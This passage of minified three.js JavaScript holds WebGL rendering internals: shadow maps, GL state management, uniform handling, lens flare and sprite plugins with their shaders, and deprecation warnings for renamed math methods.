n.ShaderMaterial({defines:{USE_SHADOWMAP:""},uniforms:L,vertexShader:T.vertexShader,fragmentShader:T.fragmentShader,morphTargets:N,skinning:S,clipping:!0});M[D]=I}var j=this;this.enabled=!1,this.autoUpdate=!0,this.needsUpdate=!1,this.type=n.PCFShadowMap,this.cullFace=n.CullFaceFront,this.render=function(t,m){if(j.enabled!==!1&&(j.autoUpdate!==!1||j.needsUpdate!==!1)&&0!==l.length){s.clearColor(1,1,1,1),s.disable(a.BLEND),s.enable(a.CULL_FACE),a.frontFace(a.CCW),a.cullFace(j.cullFace===n.CullFaceFront?a.FRONT:a.BACK),s.setDepthTest(!0),s.setScissorTest(!1);for(var g,v,y=0,M=l.length;M>y;y++){var A=l[y],b=A.shadow,T=b.camera;if(h.copy(b.mapSize),A instanceof n.PointLight){g=6,v=!0;var L=h.x,D=h.y;E[0].set(2*L,D,L,D),E[1].set(0,D,L,D),E[2].set(3*L,D,L,D),E[3].set(L,D,L,D),E[4].set(3*L,0,L,D),E[5].set(L,0,L,D),h.x*=4,h.y*=2}else g=1,v=!1;if(null===b.map){var N={minFilter:n.NearestFilter,magFilter:n.NearestFilter,format:n.RGBAFormat};b.map=new n.WebGLRenderTarget(h.x,h.y,N),T.updateProjectionMatrix()}b instanceof n.SpotLightShadow&&b.update(A);var S=b.map,C=b.matrix;p.setFromMatrixPosition(A.matrixWorld),T.position.copy(p),e.setRenderTarget(S),e.clear();for(var I=0;g>I;I++){if(v){d.copy(T.position),d.add(x[I]),T.up.copy(w[I]),T.lookAt(d);var _=E[I];s.viewport(_)}else d.setFromMatrixPosition(A.target.matrixWorld),T.lookAt(d);T.updateMatrixWorld(),T.matrixWorldInverse.getInverse(T.matrixWorld),C.set(.5,0,0,.5,0,.5,0,.5,0,0,.5,.5,0,0,0,1),C.multiply(T.projectionMatrix),C.multiply(T.matrixWorldInverse),u.multiplyMatrices(T.projectionMatrix,T.matrixWorldInverse),c.setFromMatrix(u),f.length=0,o(t,m,T);for(var O=0,z=f.length;z>O;O++){var k=f[O],R=i.update(k),B=k.material;if(B instanceof n.MultiMaterial)for(var U=R.groups,P=B.materials,F=0,G=U.length;G>F;F++){var V=U[F],Q=P[V.materialIndex];if(Q.visible===!0){var Y=r(k,Q,v,p);e.renderBufferDirect(T,null,R,Y,k,V)}}else{var Y=r(k,B,v,p);e.renderBufferDirect(T,null,R,Y,k,null)}}}}var H=e.getClearColor(),W=e.getClearAlpha();e.setClearColor(H,W),s.enable(a.BLEND),j.cullFace===n.CullFaceFront&&a.cullFace(a.BACK),j.needsUpdate=!1}}},n.WebGLState=function(e,t,i){var r=this,o=new n.Vector4,a=e.getParameter(e.MAX_VERTEX_ATTRIBS),s=new Uint8Array(a),c=new Uint8Array(a),u=new Uint8Array(a),l={},h=null,d=null,p=null,f=null,m=null,g=null,v=null,y=null,M=!1,A=null,x=null,w=null,E=null,b=null,T=null,L=null,D=null,N=null,S=null,C=null,I=null,j=null,_=null,O=null,z=e.getParameter(e.MAX_TEXTURE_IMAGE_UNITS),k=void 0,R={},B=new n.Vector4,U=null,P=null,F=new n.Vector4,G=new n.Vector4;this.init=function(){this.clearColor(0,0,0,1),this.clearDepth(1),this.clearStencil(0),this.enable(e.DEPTH_TEST),e.depthFunc(e.LEQUAL),e.frontFace(e.CCW),e.cullFace(e.BACK),this.enable(e.CULL_FACE),this.enable(e.BLEND),e.blendEquation(e.FUNC_ADD),e.blendFunc(e.SRC_ALPHA,e.ONE_MINUS_SRC_ALPHA)},this.initAttributes=function(){for(var e=0,t=s.length;t>e;e++)s[e]=0},this.enableAttribute=function(i){if(s[i]=1,0===c[i]&&(e.enableVertexAttribArray(i),c[i]=1),0!==u[i]){var r=t.get("ANGLE_instanced_arrays");r.vertexAttribDivisorANGLE(i,0),u[i]=0}},this.enableAttributeAndDivisor=function(t,i,r){s[t]=1,0===c[t]&&(e.enableVertexAttribArray(t),c[t]=1),u[t]!==i&&(r.vertexAttribDivisorANGLE(t,i),u[t]=i)},this.disableUnusedAttributes=function(){for(var t=0,i=c.length;i>t;t++)c[t]!==s[t]&&(e.disableVertexAttribArray(t),c[t]=0)},this.enable=function(t){l[t]!==!0&&(e.enable(t),l[t]=!0)},this.disable=function(t){l[t]!==!1&&(e.disable(t),l[t]=!1)},this.getCompressedTextureFormats=function(){if(null===h&&(h=[],t.get("WEBGL_compressed_texture_pvrtc")||t.get("WEBGL_compressed_texture_s3tc")||t.get("WEBGL_compressed_texture_etc1")))for(var i=e.getParameter(e.COMPRESSED_TEXTURE_FORMATS),r=0;r<i.length;r++)h.push(i[r]);return h},this.setBlending=function(t,r,o,a,s,c,u,l){t===n.NoBlending?this.disable(e.BLEND):this.enable(e.BLEND),(t!==d||l!==M)&&(t===n.AdditiveBlending?l?(e.blendEquationSeparate(e.FUNC_ADD,e.FUNC_ADD),e.blendFuncSeparate(e.ONE,e.ONE,e.ONE,e.ONE)):(e.blendEquation(e.FUNC_ADD),e.blendFunc(e.SRC_ALPHA,e.ONE)):t===n.SubtractiveBlending?l?(e.blendEquationSeparate(e.FUNC_ADD,e.FUNC_ADD),e.blendFuncSeparate(e.ZERO,e.ZERO,e.ONE_MINUS_SRC_COLOR,e.ONE_MINUS_SRC_ALPHA)):(e.blendEquation(e.FUNC_ADD),e.blendFunc(e.ZERO,e.ONE_MINUS_SRC_COLOR)):t===n.MultiplyBlending?l?(e.blendEquationSeparate(e.FUNC_ADD,e.FUNC_ADD),e.blendFuncSeparate(e.ZERO,e.ZERO,e.SRC_COLOR,e.SRC_ALPHA)):(e.blendEquation(e.FUNC_ADD),e.blendFunc(e.ZERO,e.SRC_COLOR)):l?(e.blendEquationSeparate(e.FUNC_ADD,e.FUNC_ADD),e.blendFuncSeparate(e.ONE,e.ONE_MINUS_SRC_ALPHA,e.ONE,e.ONE_MINUS_SRC_ALPHA)):(e.blendEquationSeparate(e.FUNC_ADD,e.FUNC_ADD),e.blendFuncSeparate(e.SRC_ALPHA,e.ONE_MINUS_SRC_ALPHA,e.ONE,e.ONE_MINUS_SRC_ALPHA)),d=t,M=l),t===n.CustomBlending?(s=s||r,c=c||o,u=u||a,(r!==p||s!==g)&&(e.blendEquationSeparate(i(r),i(s)),p=r,g=s),(o!==f||a!==m||c!==v||u!==y)&&(e.blendFuncSeparate(i(o),i(a),i(c),i(u)),f=o,m=a,v=c,y=u)):(p=null,f=null,m=null,g=null,v=null,y=null)},this.setDepthFunc=function(t){if(A!==t){if(t)switch(t){case n.NeverDepth:e.depthFunc(e.NEVER);break;case n.AlwaysDepth:e.depthFunc(e.ALWAYS);break;case n.LessDepth:e.depthFunc(e.LESS);break;case n.LessEqualDepth:e.depthFunc(e.LEQUAL);break;case n.EqualDepth:e.depthFunc(e.EQUAL);break;case n.GreaterEqualDepth:e.depthFunc(e.GEQUAL);break;case n.GreaterDepth:e.depthFunc(e.GREATER);break;case n.NotEqualDepth:e.depthFunc(e.NOTEQUAL);break;default:e.depthFunc(e.LEQUAL)}else e.depthFunc(e.LEQUAL);A=t}},this.setDepthTest=function(t){t?this.enable(e.DEPTH_TEST):this.disable(e.DEPTH_TEST)},this.setDepthWrite=function(t){x!==t&&(e.depthMask(t),x=t)},this.setColorWrite=function(t){w!==t&&(e.colorMask(t,t,t,t),w=t)},this.setStencilFunc=function(t,i,r){(b!==t||T!==i||L!==r)&&(e.stencilFunc(t,i,r),b=t,T=i,L=r)},this.setStencilOp=function(t,i,r){(D!==t||N!==i||S!==r)&&(e.stencilOp(t,i,r),D=t,N=i,S=r)},this.setStencilTest=function(t){t?this.enable(e.STENCIL_TEST):this.disable(e.STENCIL_TEST)},this.setStencilWrite=function(t){E!==t&&(e.stencilMask(t),E=t)},this.setFlipSided=function(t){C!==t&&(e.frontFace(t?e.CW:e.CCW),C=t)},this.setLineWidth=function(t){t!==I&&(e.lineWidth(t),I=t)},this.setPolygonOffset=function(t,i,r){t?this.enable(e.POLYGON_OFFSET_FILL):this.disable(e.POLYGON_OFFSET_FILL),!t||j===i&&_===r||(e.polygonOffset(i,r),j=i,_=r)},this.getScissorTest=function(){return O},this.setScissorTest=function(t){O=t,t?this.enable(e.SCISSOR_TEST):this.disable(e.SCISSOR_TEST)},this.activeTexture=function(t){void 0===t&&(t=e.TEXTURE0+z-1),k!==t&&(e.activeTexture(t),k=t)},this.bindTexture=function(t,i){void 0===k&&r.activeTexture();var n=R[k];void 0===n&&(n={type:void 0,texture:void 0},R[k]=n),(n.type!==t||n.texture!==i)&&(e.bindTexture(t,i),n.type=t,n.texture=i)},this.compressedTexImage2D=function(){try{e.compressedTexImage2D.apply(e,arguments)}catch(t){console.error(t)}},this.texImage2D=function(){try{e.texImage2D.apply(e,arguments)}catch(t){console.error(t)}},this.clearColor=function(t,i,r,n){o.set(t,i,r,n),B.equals(o)===!1&&(e.clearColor(t,i,r,n),B.copy(o))},this.clearDepth=function(t){U!==t&&(e.clearDepth(t),U=t)},this.clearStencil=function(t){P!==t&&(e.clearStencil(t),P=t)},this.scissor=function(t){F.equals(t)===!1&&(e.scissor(t.x,t.y,t.z,t.w),F.copy(t))},this.viewport=function(t){G.equals(t)===!1&&(e.viewport(t.x,t.y,t.z,t.w),G.copy(t))},this.reset=function(){for(var t=0;t<c.length;t++)1===c[t]&&(e.disableVertexAttribArray(t),c[t]=0);l={},h=null,k=void 0,R={},d=null,w=null,x=null,E=null,C=null}},n.WebGLUniforms=function(){var e=function(){this.seq=[],this.map={}},t=[],i=[],r=function(e,i,r){var n=e[0];if(0>=n||n>0)return e;var o=i*r,a=t[o];if(void 0===a&&(a=new Float32Array(o),t[o]=a),0!==i){n.toArray(a,0);for(var s=1,c=0;s!==i;++s)c+=r,e[s].toArray(a,c)}return a},n=function(e,t){var r=i[t];void 0===r&&(r=new Int32Array(t),i[t]=r);for(var n=0;n!==t;++n)r[n]=e.allocTextureUnit();return r},o=function(e,t){e.uniform1f(this.addr,t)},a=function(e,t){e.uniform1i(this.addr,t)},s=function(e,t){void 0===t.x?e.uniform2fv(this.addr,t):e.uniform2f(this.addr,t.x,t.y)},c=function(e,t){void 0!==t.x?e.uniform3f(this.addr,t.x,t.y,t.z):void 0!==t.r?e.uniform3f(this.addr,t.r,t.g,t.b):e.uniform3fv(this.addr,t)},u=function(e,t){void 0===t.x?e.uniform4fv(this.addr,t):e.uniform4f(this.addr,t.x,t.y,t.z,t.w)},l=function(e,t){e.uniformMatrix2fv(this.addr,!1,t.elements||t)},h=function(e,t){e.uniformMatrix3fv(this.addr,!1,t.elements||t)},d=function(e,t){e.uniformMatrix4fv(this.addr,!1,t.elements||t)},p=function(e,t,i){var r=i.allocTextureUnit();e.uniform1i(this.addr,r),t&&i.setTexture2D(t,r)},f=function(e,t,i){var r=i.allocTextureUnit();e.uniform1i(this.addr,r),t&&i.setTextureCube(t,r)},m=function(e,t){e.uniform2iv(this.addr,t)},g=function(e,t){e.uniform3iv(this.addr,t)},v=function(e,t){e.uniform4iv(this.addr,t)},y=function(e){switch(e){case 5126:return o;case 35664:return s;case 35665:return c;case 35666:return u;case 35674:return l;case 35675:return h;case 35676:return d;case 35678:return p;case 35680:return f;case 5124:case 35670:return a;case 35667:case 35671:return m;case 35668:case 35672:return g;case 35669:case 35673:return v}},M=function(e,t){e.uniform1fv(this.addr,t)},A=function(e,t){e.uniform1iv(this.addr,t)},x=function(e,t){e.uniform2fv(this.addr,r(t,this.size,2))},w=function(e,t){e.uniform3fv(this.addr,r(t,this.size,3))},E=function(e,t){e.uniform4fv(this.addr,r(t,this.size,4))},b=function(e,t){e.uniformMatrix2fv(this.addr,!1,r(t,this.size,4))},T=function(e,t){e.uniformMatrix3fv(this.addr,!1,r(t,this.size,9))},L=function(e,t){e.uniformMatrix4fv(this.addr,!1,r(t,this.size,16))},D=function(e,t,i){var r=t.length,o=n(i,r);e.uniform1iv(this.addr,o);for(var a=0;a!==r;++a){var s=t[a];s&&i.setTexture2D(s,o[a])}},N=function(e,t,i){var r=t.length,o=n(i,r);e.uniform1iv(this.addr,o);for(var a=0;a!==r;++a){var s=t[a];s&&i.setTextureCube(s,o[a])}},S=function(e){switch(e){case 5126:return M;case 35664:return x;case 35665:return w;case 35666:return E;case 35674:return b;case 35675:return T;case 35676:return L;case 35678:return D;case 35680:return N;case 5124:case 35670:return A;case 35667:case 35671:return m;case 35668:case 35672:return g;case 35669:case 35673:return v}},C=function(e,t,i){this.id=e,this.addr=i,this.setValue=y(t.type)},I=function(e,t,i){this.id=e,this.addr=i,this.size=t.size,this.setValue=S(t.type)},j=function(t){this.id=t,e.call(this)};j.prototype.setValue=function(e,t){for(var i=this.seq,r=0,n=i.length;r!==n;++r){var o=i[r];o.setValue(e,t[o.id])}};var _=/([\w\d_]+)(\])?(\[|\.)?/g,O=function(e,t){e.seq.push(t),e.map[t.id]=t},z=function(e,t,i){var r=e.name,n=r.length;for(_.lastIndex=0;;){var o=_.exec(r),a=_.lastIndex,s=o[1],c="]"===o[2],u=o[3];if(c&&(s=0|s),void 0===u||"["===u&&a+2===n){O(i,void 0===u?new C(s,e,t):new I(s,e,t));break}var l=i.map,h=l[s];void 0===h&&(h=new j(s),O(i,h)),i=h}},k=function(t,i,r){e.call(this),this.renderer=r;for(var n=t.getProgramParameter(i,t.ACTIVE_UNIFORMS),o=0;o!==n;++o){var a=t.getActiveUniform(i,o),s=a.name,c=t.getUniformLocation(i,s);z(a,c,this)}};return k.prototype.setValue=function(e,t,i){var r=this.map[t];void 0!==r&&r.setValue(e,i,this.renderer)},k.prototype.set=function(e,t,i){var r=this.map[i];void 0!==r&&r.setValue(e,t[i],this.renderer)},k.prototype.setOptional=function(e,t,i){var r=t[i];void 0!==r&&this.setValue(e,i,r)},k.upload=function(e,t,i,r){for(var n=0,o=t.length;n!==o;++n){var a=t[n],s=i[a.id];s.needsUpdate!==!1&&a.setValue(e,s.value,r)}},k.seqWithValue=function(e,t){for(var i=[],r=0,n=e.length;r!==n;++r){var o=e[r];o.id in t&&i.push(o)}return i},k.splitDynamic=function(e,t){for(var i=null,r=e.length,n=0,o=0;o!==r;++o){var a=e[o],s=t[a.id];s&&s.dynamic===!0?(null===i&&(i=[]),i.push(a)):(o>n&&(e[n]=a),++n)}return r>n&&(e.length=n),i},k.evalDynamic=function(e,t,i,r){for(var n=0,o=e.length;n!==o;++n){var a=t[e[n].id],s=a.onUpdateCallback;void 0!==s&&s.call(a,i,r)}},k}(),n.LensFlarePlugin=function(e,t){function i(){var e=new Float32Array([-1,-1,0,0,1,-1,1,0,1,1,1,1,-1,1,0,1]),t=new Uint16Array([0,1,2,0,2,3]);o=p.createBuffer(),a=p.createBuffer(),p.bindBuffer(p.ARRAY_BUFFER,o),p.bufferData(p.ARRAY_BUFFER,e,p.STATIC_DRAW),p.bindBuffer(p.ELEMENT_ARRAY_BUFFER,a),p.bufferData(p.ELEMENT_ARRAY_BUFFER,t,p.STATIC_DRAW),h=p.createTexture(),d=p.createTexture(),f.bindTexture(p.TEXTURE_2D,h),p.texImage2D(p.TEXTURE_2D,0,p.RGB,16,16,0,p.RGB,p.UNSIGNED_BYTE,null),p.texParameteri(p.TEXTURE_2D,p.TEXTURE_WRAP_S,p.CLAMP_TO_EDGE),p.texParameteri(p.TEXTURE_2D,p.TEXTURE_WRAP_T,p.CLAMP_TO_EDGE),p.texParameteri(p.TEXTURE_2D,p.TEXTURE_MAG_FILTER,p.NEAREST),p.texParameteri(p.TEXTURE_2D,p.TEXTURE_MIN_FILTER,p.NEAREST),f.bindTexture(p.TEXTURE_2D,d),p.texImage2D(p.TEXTURE_2D,0,p.RGBA,16,16,0,p.RGBA,p.UNSIGNED_BYTE,null),p.texParameteri(p.TEXTURE_2D,p.TEXTURE_WRAP_S,p.CLAMP_TO_EDGE),p.texParameteri(p.TEXTURE_2D,p.TEXTURE_WRAP_T,p.CLAMP_TO_EDGE),p.texParameteri(p.TEXTURE_2D,p.TEXTURE_MAG_FILTER,p.NEAREST),p.texParameteri(p.TEXTURE_2D,p.TEXTURE_MIN_FILTER,p.NEAREST),s={vertexShader:["uniform lowp int renderType;","uniform vec3 screenPosition;","uniform vec2 scale;","uniform float rotation;","uniform sampler2D occlusionMap;","attribute vec2 position;","attribute vec2 uv;","varying vec2 vUV;","varying float vVisibility;","void main() {","vUV = uv;","vec2 pos = position;","if ( renderType == 2 ) {","vec4 visibility = texture2D( occlusionMap, vec2( 0.1, 0.1 ) );","visibility += texture2D( occlusionMap, vec2( 0.5, 0.1 ) );","visibility += texture2D( occlusionMap, vec2( 0.9, 0.1 ) );","visibility += texture2D( occlusionMap, vec2( 0.9, 0.5 ) );","visibility += texture2D( occlusionMap, vec2( 0.9, 0.9 ) );","visibility += texture2D( occlusionMap, vec2( 0.5, 0.9 ) );","visibility += texture2D( occlusionMap, vec2( 0.1, 0.9 ) );","visibility += texture2D( occlusionMap, vec2( 0.1, 0.5 ) );","visibility += texture2D( occlusionMap, vec2( 0.5, 0.5 ) );","vVisibility = visibility.r / 9.0;","vVisibility *= 1.0 - visibility.g / 9.0;","vVisibility *= visibility.b / 9.0;","vVisibility *= 1.0 - visibility.a / 9.0;","pos.x = cos( rotation ) * position.x - sin( rotation ) * position.y;","pos.y = sin( rotation ) * position.x + cos( rotation ) * position.y;","}","gl_Position = vec4( ( pos * scale + screenPosition.xy ).xy, screenPosition.z, 1.0 );","}"].join("\n"),fragmentShader:["uniform lowp int renderType;","uniform sampler2D map;","uniform float opacity;","uniform vec3 color;","varying vec2 vUV;","varying float vVisibility;","void main() {","if ( renderType == 0 ) {","gl_FragColor = vec4( 1.0, 0.0, 1.0, 0.0 );","} else if ( renderType == 1 ) {","gl_FragColor = texture2D( map, vUV );","} else {","vec4 texture = texture2D( map, vUV );","texture.a *= opacity * vVisibility;","gl_FragColor = texture;","gl_FragColor.rgb *= color;","}","}"].join("\n")},c=r(s),u={vertex:p.getAttribLocation(c,"position"),uv:p.getAttribLocation(c,"uv")},l={renderType:p.getUniformLocation(c,"renderType"),map:p.getUniformLocation(c,"map"),occlusionMap:p.getUniformLocation(c,"occlusionMap"),opacity:p.getUniformLocation(c,"opacity"),color:p.getUniformLocation(c,"color"),scale:p.getUniformLocation(c,"scale"),rotation:p.getUniformLocation(c,"rotation"),screenPosition:p.getUniformLocation(c,"screenPosition")}}function r(t){var i=p.createProgram(),r=p.createShader(p.FRAGMENT_SHADER),n=p.createShader(p.VERTEX_SHADER),o="precision "+e.getPrecision()+" float;\n";return p.shaderSource(r,o+t.fragmentShader),p.shaderSource(n,o+t.vertexShader),p.compileShader(r),p.compileShader(n),p.attachShader(i,r),p.attachShader(i,n),p.linkProgram(i),i}var o,a,s,c,u,l,h,d,p=e.context,f=e.state;this.render=function(r,s,m){if(0!==t.length){var g=new n.Vector3,v=m.w/m.z,y=.5*m.z,M=.5*m.w,A=16/m.w,x=new n.Vector2(A*v,A),w=new n.Vector3(1,1,0),E=new n.Vector2(1,1),b=new n.Box2;b.min.set(0,0),b.max.set(m.z-16,m.w-16),void 0===c&&i(),p.useProgram(c),f.initAttributes(),f.enableAttribute(u.vertex),f.enableAttribute(u.uv),f.disableUnusedAttributes(),p.uniform1i(l.occlusionMap,0),p.uniform1i(l.map,1),p.bindBuffer(p.ARRAY_BUFFER,o),p.vertexAttribPointer(u.vertex,2,p.FLOAT,!1,16,0),p.vertexAttribPointer(u.uv,2,p.FLOAT,!1,16,8),p.bindBuffer(p.ELEMENT_ARRAY_BUFFER,a),f.disable(p.CULL_FACE),f.setDepthWrite(!1);for(var T=0,L=t.length;L>T;T++){A=16/m.w,x.set(A*v,A);var D=t[T];if(g.set(D.matrixWorld.elements[12],D.matrixWorld.elements[13],D.matrixWorld.elements[14]),g.applyMatrix4(s.matrixWorldInverse),g.applyProjection(s.projectionMatrix),w.copy(g),E.x=m.x+w.x*y+y-8,E.y=m.y+w.y*M+M-8,b.containsPoint(E)===!0){f.activeTexture(p.TEXTURE0),f.bindTexture(p.TEXTURE_2D,null),f.activeTexture(p.TEXTURE1),f.bindTexture(p.TEXTURE_2D,h),p.copyTexImage2D(p.TEXTURE_2D,0,p.RGB,E.x,E.y,16,16,0),p.uniform1i(l.renderType,0),p.uniform2f(l.scale,x.x,x.y),p.uniform3f(l.screenPosition,w.x,w.y,w.z),f.disable(p.BLEND),f.enable(p.DEPTH_TEST),p.drawElements(p.TRIANGLES,6,p.UNSIGNED_SHORT,0),f.activeTexture(p.TEXTURE0),f.bindTexture(p.TEXTURE_2D,d),p.copyTexImage2D(p.TEXTURE_2D,0,p.RGBA,E.x,E.y,16,16,0),p.uniform1i(l.renderType,1),f.disable(p.DEPTH_TEST),f.activeTexture(p.TEXTURE1),f.bindTexture(p.TEXTURE_2D,h),p.drawElements(p.TRIANGLES,6,p.UNSIGNED_SHORT,0),D.positionScreen.copy(w),D.customUpdateCallback?D.customUpdateCallback(D):D.updateLensFlares(),p.uniform1i(l.renderType,2),f.enable(p.BLEND);for(var N=0,S=D.lensFlares.length;S>N;N++){var C=D.lensFlares[N];C.opacity>.001&&C.scale>.001&&(w.x=C.x,w.y=C.y,w.z=C.z,A=C.size*C.scale/m.w,x.x=A*v,x.y=A,p.uniform3f(l.screenPosition,w.x,w.y,w.z),p.uniform2f(l.scale,x.x,x.y),p.uniform1f(l.rotation,C.rotation),p.uniform1f(l.opacity,C.opacity),p.uniform3f(l.color,C.color.r,C.color.g,C.color.b),f.setBlending(C.blending,C.blendEquation,C.blendSrc,C.blendDst),e.setTexture2D(C.texture,1),p.drawElements(p.TRIANGLES,6,p.UNSIGNED_SHORT,0))}}}f.enable(p.CULL_FACE),f.enable(p.DEPTH_TEST),f.setDepthWrite(!0),e.resetGLState()}}},n.SpritePlugin=function(e,t){function i(){var e=new Float32Array([-.5,-.5,0,0,.5,-.5,1,0,.5,.5,1,1,-.5,.5,0,1]),t=new Uint16Array([0,1,2,0,2,3]);a=d.createBuffer(),s=d.createBuffer(),d.bindBuffer(d.ARRAY_BUFFER,a),d.bufferData(d.ARRAY_BUFFER,e,d.STATIC_DRAW),d.bindBuffer(d.ELEMENT_ARRAY_BUFFER,s),d.bufferData(d.ELEMENT_ARRAY_BUFFER,t,d.STATIC_DRAW),c=r(),u={position:d.getAttribLocation(c,"position"),uv:d.getAttribLocation(c,"uv")},l={uvOffset:d.getUniformLocation(c,"uvOffset"),uvScale:d.getUniformLocation(c,"uvScale"),rotation:d.getUniformLocation(c,"rotation"),scale:d.getUniformLocation(c,"scale"),color:d.getUniformLocation(c,"color"),map:d.getUniformLocation(c,"map"),opacity:d.getUniformLocation(c,"opacity"),modelViewMatrix:d.getUniformLocation(c,"modelViewMatrix"),projectionMatrix:d.getUniformLocation(c,"projectionMatrix"),
fogType:d.getUniformLocation(c,"fogType"),fogDensity:d.getUniformLocation(c,"fogDensity"),fogNear:d.getUniformLocation(c,"fogNear"),fogFar:d.getUniformLocation(c,"fogFar"),fogColor:d.getUniformLocation(c,"fogColor"),alphaTest:d.getUniformLocation(c,"alphaTest")};var i=document.createElement("canvas");i.width=8,i.height=8;var o=i.getContext("2d");o.fillStyle="white",o.fillRect(0,0,8,8),h=new n.Texture(i),h.needsUpdate=!0}function r(){var t=d.createProgram(),i=d.createShader(d.VERTEX_SHADER),r=d.createShader(d.FRAGMENT_SHADER);return d.shaderSource(i,["precision "+e.getPrecision()+" float;","uniform mat4 modelViewMatrix;","uniform mat4 projectionMatrix;","uniform float rotation;","uniform vec2 scale;","uniform vec2 uvOffset;","uniform vec2 uvScale;","attribute vec2 position;","attribute vec2 uv;","varying vec2 vUV;","void main() {","vUV = uvOffset + uv * uvScale;","vec2 alignedPosition = position * scale;","vec2 rotatedPosition;","rotatedPosition.x = cos( rotation ) * alignedPosition.x - sin( rotation ) * alignedPosition.y;","rotatedPosition.y = sin( rotation ) * alignedPosition.x + cos( rotation ) * alignedPosition.y;","vec4 finalPosition;","finalPosition = modelViewMatrix * vec4( 0.0, 0.0, 0.0, 1.0 );","finalPosition.xy += rotatedPosition;","finalPosition = projectionMatrix * finalPosition;","gl_Position = finalPosition;","}"].join("\n")),d.shaderSource(r,["precision "+e.getPrecision()+" float;","uniform vec3 color;","uniform sampler2D map;","uniform float opacity;","uniform int fogType;","uniform vec3 fogColor;","uniform float fogDensity;","uniform float fogNear;","uniform float fogFar;","uniform float alphaTest;","varying vec2 vUV;","void main() {","vec4 texture = texture2D( map, vUV );","if ( texture.a < alphaTest ) discard;","gl_FragColor = vec4( color * texture.xyz, texture.a * opacity );","if ( fogType > 0 ) {","float depth = gl_FragCoord.z / gl_FragCoord.w;","float fogFactor = 0.0;","if ( fogType == 1 ) {","fogFactor = smoothstep( fogNear, fogFar, depth );","} else {","const float LOG2 = 1.442695;","fogFactor = exp2( - fogDensity * fogDensity * depth * depth * LOG2 );","fogFactor = 1.0 - clamp( fogFactor, 0.0, 1.0 );","}","gl_FragColor = mix( gl_FragColor, vec4( fogColor, gl_FragColor.w ), fogFactor );","}","}"].join("\n")),d.compileShader(i),d.compileShader(r),d.attachShader(t,i),d.attachShader(t,r),d.linkProgram(t),t}function o(e,t){return e.renderOrder!==t.renderOrder?e.renderOrder-t.renderOrder:e.z!==t.z?t.z-e.z:t.id-e.id}var a,s,c,u,l,h,d=e.context,p=e.state,f=new n.Vector3,m=new n.Quaternion,g=new n.Vector3;this.render=function(r,v){if(0!==t.length){void 0===c&&i(),d.useProgram(c),p.initAttributes(),p.enableAttribute(u.position),p.enableAttribute(u.uv),p.disableUnusedAttributes(),p.disable(d.CULL_FACE),p.enable(d.BLEND),d.bindBuffer(d.ARRAY_BUFFER,a),d.vertexAttribPointer(u.position,2,d.FLOAT,!1,16,0),d.vertexAttribPointer(u.uv,2,d.FLOAT,!1,16,8),d.bindBuffer(d.ELEMENT_ARRAY_BUFFER,s),d.uniformMatrix4fv(l.projectionMatrix,!1,v.projectionMatrix.elements),p.activeTexture(d.TEXTURE0),d.uniform1i(l.map,0);var y=0,M=0,A=r.fog;A?(d.uniform3f(l.fogColor,A.color.r,A.color.g,A.color.b),A instanceof n.Fog?(d.uniform1f(l.fogNear,A.near),d.uniform1f(l.fogFar,A.far),d.uniform1i(l.fogType,1),y=1,M=1):A instanceof n.FogExp2&&(d.uniform1f(l.fogDensity,A.density),d.uniform1i(l.fogType,2),y=2,M=2)):(d.uniform1i(l.fogType,0),y=0,M=0);for(var x=0,w=t.length;w>x;x++){var E=t[x];E.modelViewMatrix.multiplyMatrices(v.matrixWorldInverse,E.matrixWorld),E.z=-E.modelViewMatrix.elements[14]}t.sort(o);for(var b=[],x=0,w=t.length;w>x;x++){var E=t[x],T=E.material;d.uniform1f(l.alphaTest,T.alphaTest),d.uniformMatrix4fv(l.modelViewMatrix,!1,E.modelViewMatrix.elements),E.matrixWorld.decompose(f,m,g),b[0]=g.x,b[1]=g.y;var L=0;r.fog&&T.fog&&(L=M),y!==L&&(d.uniform1i(l.fogType,L),y=L),null!==T.map?(d.uniform2f(l.uvOffset,T.map.offset.x,T.map.offset.y),d.uniform2f(l.uvScale,T.map.repeat.x,T.map.repeat.y)):(d.uniform2f(l.uvOffset,0,0),d.uniform2f(l.uvScale,1,1)),d.uniform1f(l.opacity,T.opacity),d.uniform3f(l.color,T.color.r,T.color.g,T.color.b),d.uniform1f(l.rotation,T.rotation),d.uniform2fv(l.scale,b),p.setBlending(T.blending,T.blendEquation,T.blendSrc,T.blendDst),p.setDepthTest(T.depthTest),p.setDepthWrite(T.depthWrite),T.map?e.setTexture2D(T.map,0):e.setTexture2D(h,0),d.drawElements(d.TRIANGLES,6,d.UNSIGNED_SHORT,0)}p.enable(d.CULL_FACE),e.resetGLState()}}},Object.defineProperties(n.Box2.prototype,{empty:{value:function(){return console.warn("THREE.Box2: .empty() has been renamed to .isEmpty()."),this.isEmpty()}},isIntersectionBox:{value:function(e){return console.warn("THREE.Box2: .isIntersectionBox() has been renamed to .intersectsBox()."),this.intersectsBox(e)}}}),Object.defineProperties(n.Box3.prototype,{empty:{value:function(){return console.warn("THREE.Box3: .empty() has been renamed to .isEmpty()."),this.isEmpty()}},isIntersectionBox:{value:function(e){return console.warn("THREE.Box3: .isIntersectionBox() has been renamed to .intersectsBox()."),this.intersectsBox(e)}},isIntersectionSphere:{value:function(e){return console.warn("THREE.Box3: .isIntersectionSphere() has been renamed to .intersectsSphere()."),this.intersectsSphere(e)}}}),Object.defineProperties(n.Matrix3.prototype,{multiplyVector3:{value:function(e){return console.warn("THREE.Matrix3: .multiplyVector3() has been removed. Use vector.applyMatrix3( matrix ) instead."),e.applyMatrix3(this)}},multiplyVector3Array:{value:function(e){return console.warn("THREE.Matrix3: .multiplyVector3Array() has been renamed. Use matrix.applyToVector3Array( array ) instead."),this.applyToVector3Array(e)}}}),Object.defineProperties(n.Matrix4.prototype,{extractPosition:{value:function(e){return console.warn("THREE.Matrix4: .extractPosition() has been renamed to .copyPosition()."),this.copyPosition(e)}},setRotationFromQuaternion:{value:function(e){return console.warn("THREE.Matrix4: .setRotationFromQuaternion() has been renamed to .makeRotationFromQuaternion()."),this.makeRotationFromQuaternion(e)}},multiplyVector3:{value:function(e){return console.warn("THREE.Matrix4: .multiplyVector3() has been removed. Use vector.applyMatrix4( matrix ) or vector.applyProjection( matrix ) instead."),e.applyProjection(this)}},multiplyVector4:{value:function(e){return console.warn("THREE.Matrix4: .multiplyVector4() has been removed. Use vector.applyMatrix4( matrix ) instead."),e.applyMatrix4(this)}},multiplyVector3Array:{value:function(e){return console.warn("THREE.Matrix4: .multiplyVector3Array() has been renamed. Use matrix.applyToVector3Array( array ) instead."),this.applyToVector3Array(e)}},rotateAxis:{value:function(e){console.warn("THREE.Matrix4: .rotateAxis() has been removed. Use Vector3.transformDirection( matrix ) 